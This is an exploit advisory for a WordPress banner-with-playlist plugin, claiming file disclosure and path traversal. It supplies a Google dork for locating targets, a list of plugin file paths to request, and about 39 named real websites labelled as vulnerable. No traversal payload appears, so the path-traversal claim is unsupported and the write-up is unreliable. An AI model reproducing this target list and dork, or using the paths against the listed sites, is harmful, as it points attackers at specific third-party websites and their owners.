WordPress all_in_one_bannerWithPlaylist Plugins 5.0.3 Expl

###########################################################################

# Exploit Title : WordPress all_in_one_bannerWithPlaylist Plugins 5.0.3 File Information Exposure
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 14/01/2019
# Vendor Homepage : lambertgroupproductions.com ~ responsivejqueryslider.com
# Software Download Link : responsivejqueryslider.com/wordpressplugin/playlist_banner.html
# Software Information Link :
themesinfo.com/wordpress-plugins/wordpress-all_in_one_bannerwithplaylist-plugin-dgut
# Tested On : Windows and Linux
# Category : WebApps
# Affected Versions : 1.0 - 1.2.8 - 1.4.7 - 1.8.1 - 1.8.5 -
2.0 - 2.1.3 - 2.2.0 - 2.4 - 4.0.25 - 4.5.16 - 4.9.9 - 5.0.3
# Exploit Risk : High
# Google Dorks : inurl:"/wp-content/plugins/all_in_one_bannerWithPlaylist/"
# Vulnerability Type : CWE-200 [ Information Exposure ]
CWE-538 [ File and Directory Information Exposure ]
CWE-22 [ Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') ]

###########################################################################

# Impact :
********

* WordPress all_in_one_bannerWithPlaylist 5.0.3 and other versions is prone to an arbitrary file disclosure

vulnerability because it fails to properly sanitize user-supplied input.

* An attacker can exploit this vulnerability to view local files in the context of the web server process,

which may aid in launching further attacks.

* An information exposure is the intentional or unintentional disclosure

of information to an actor that is not explicitly authorized to have access to that information.

* The product stores sensitive information in files or directories that are accessible

to actors outside of the intended control sphere.

* The software uses external input to construct a pathname that is intended to identify a file or

directory that is located underneath a restricted parent directory, but the software does not

properly neutralize special elements within the pathname that can cause the pathname

to resolve to a location that is outside of the restricted directory.

###########################################################################

# Exploit :
***********************

/wp-content/plugins/all_in_one_bannerWithPlaylist/tpl/add_banner.php

/wp-content/plugins/all_in_one_bannerWithPlaylist/tpl/add_banner.php?page=all_in_one_bannerWithPlaylist_Manage_Banners

/wp-content/plugins/all_in_one_bannerWithPlaylist/tpl/add_playlist_record.php

/wp-content/plugins/all_in_one_bannerWithPlaylist/tpl/add_playlist_record.php?page=all_in_one_bannerWithPlaylist_Playlist

/wp-content/plugins/all_in_one_bannerWithPlaylist/tpl/banners.php

/wp-content/plugins/all_in_one_bannerWithPlaylist/tpl/help.php

/wp-content/plugins/all_in_one_bannerWithPlaylist/tpl/overview.php

/wp-content/plugins/all_in_one_bannerWithPlaylist/tpl/overview.php?page=all_in_one_bannerWithPlaylist_Manage_Banners

/wp-content/plugins/all_in_one_bannerWithPlaylist/tpl/overview.php?page=all_in_one_bannerWithPlaylist_Add_New

/wp-content/plugins/all_in_one_bannerWithPlaylist/tpl/overview.php?page=all_in_one_bannerWithPlaylist_Settings

/wp-content/plugins/all_in_one_bannerWithPlaylist/tpl/overview.php?page=all_in_one_bannerWithPlaylist_Playlist

/wp-content/plugins/all_in_one_bannerWithPlaylist/tpl/overview.php?page=all_in_one_bannerWithPlaylist_Help

/wp-content/plugins/all_in_one_bannerWithPlaylist/tpl/playlist.php

/wp-content/plugins/lbg_zoominoutslider/tpl/preview.html

/wp-content/plugins/all_in_one_bannerWithPlaylist/tpl/settings_form.php

###########################################################################

# Video Tutorials :
*****************

Step 1: Installation : youtube.com/watch?v=nYp94Ri8CME
Step 2: Manage Images : youtube.com/watch?v=gQezs4xWwSs
Step 3: Manage Text Over Image : youtube.com/watch?v=3wR64OtLx7Q
Step 4: Manage Multiple Banners : youtube.com/watch?v=3EfdmbjTvoY

###########################################################################

# Example Vulnerable Sites :
*************************

[+] lwd.org.kh/lc/wp-content/plugins/all_in_one_bannerWithPlaylist/tpl/add_banner.php

[+] copas-mpa.fr/wp-content/plugins/all_in_one_bannerWithPlaylist/tpl/add_banner.php

[+] okrls.org/wp-content/plugins/all_in_one_bannerWithPlaylist/tpl/add_playlist_record.php

[+] eagletonpoll.rutgers.edu/new-wp/wp-content/plugins/all_in_one_bannerWithPlaylist/tpl/add_banner.php

[+] fcsn.org/wp-content/plugins/all_in_one_bannerWithPlaylist/tpl/add_banner.php

[+] i-groupuk.com/wp-content/plugins/all_in_one_bannerWithPlaylist/tpl/add_banner.php

[+] princetonmanagement.com/wp-content/plugins/all_in_one_bannerWithPlaylist/tpl/add_banner.php

[+] looemarineconservation.org/wp-content/plugins/all_in_one_bannerWithPlaylist/tpl/add_banner.php

[+] liftandlube.com/wp-content/plugins/all_in_one_bannerWithPlaylist/tpl/add_banner.php

[+] lehmanneng.com/wp-content/plugins/all_in_one_bannerWithPlaylist/tpl/add_banner.php

[+] wallaces.ie/wp-content/plugins/all_in_one_bannerWithPlaylist/tpl/add_banner.php

[+] walkthewalkamerica.com/wp-content/plugins/all_in_one_bannerWithPlaylist/tpl/add_banner.php

[+] whoshapesourtimes.com/wp-content/plugins/all_in_one_bannerWithPlaylist/tpl/add_banner.php

[+] wemarket-lb.com/wp-content/plugins/all_in_one_bannerWithPlaylist/tpl/add_banner.php

[+] fight-club.tv/wp-content/plugins/all_in_one_bannerWithPlaylist/tpl/add_banner.php

[+] theayurway.com/wp-content/plugins/all_in_one_bannerWithPlaylist/tpl/add_banner.php

[+] wellingtonbridge.com/wp-content/plugins/all_in_one_bannerWithPlaylist/tpl/add_banner.php

[+] tuacapulco.com/wp-content/plugins/all_in_one_bannerWithPlaylist/tpl/add_banner.php

[+] mmojam.com/wp-content/plugins/all_in_one_bannerWithPlaylist/tpl/add_banner.php

[+] moebelaktion.ch/wp-content/plugins/all_in_one_bannerWithPlaylist/tpl/add_banner.php

[+] aquapools.org/wp-content/plugins/all_in_one_bannerWithPlaylist/tpl/add_banner.php

[+] huris.nl/wp-content/plugins/all_in_one_bannerWithPlaylist/tpl/add_banner.php

[+] certifiedtreeservices.com/wp-content/plugins/all_in_one_bannerWithPlaylist/tpl/add_banner.php

[+] park-med.com/wp-content/plugins/all_in_one_bannerWithPlaylist/tpl/add_banner.php

[+] llcform.us/wp-content/plugins/all_in_one_bannerWithPlaylist/tpl/add_banner.php

[+] krankas.sk/wp-content/plugins/all_in_one_bannerWithPlaylist/tpl/add_banner.php

[+] truescapemo.com/wp-content/plugins/all_in_one_bannerWithPlaylist/tpl/add_banner.php

[+] thereverendesquire.com/wp-content/plugins/all_in_one_bannerWithPlaylist/tpl/add_banner.php

[+] thebarrebelles.com/wp-content/plugins/all_in_one_bannerWithPlaylist/tpl/add_banner.php

[+] theaxess.net/wp-content/plugins/all_in_one_bannerWithPlaylist/tpl/add_banner.php

[+] ltsa.com.br/wp-content/plugins/all_in_one_bannerWithPlaylist/tpl/add_banner.php

[+] interkomitet.uz/wp-content/plugins/all_in_one_bannerWithPlaylist/tpl/add_banner.php

[+] avcaix.com/wp-content/plugins/all_in_one_bannerWithPlaylist/tpl/add_banner.php

[+] schoenphoto.com/wp-content/plugins/all_in_one_bannerWithPlaylist/tpl/add_banner.php

[+] yucatanbeachstand.com/wp-content/plugins/all_in_one_bannerWithPlaylist/tpl/add_banner.php

[+] roseumedicalcenter.com/wp-content/plugins/all_in_one_bannerWithPlaylist/tpl/add_banner.php

[+] eftportal.com.br/gilberto/homologacao/wp-content/plugins/all_in_one_bannerWithPlaylist/tpl/add_banner.php

[+] cappello.co.za/wp-content/plugins/all_in_one_bannerWithPlaylist/tpl/add_banner.php

[+] tarwada.co.ae/wp-content/plugins/all_in_one_bannerWithPlaylist/tpl/add_banner.php

################################################################################################

# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team

#################################################################################################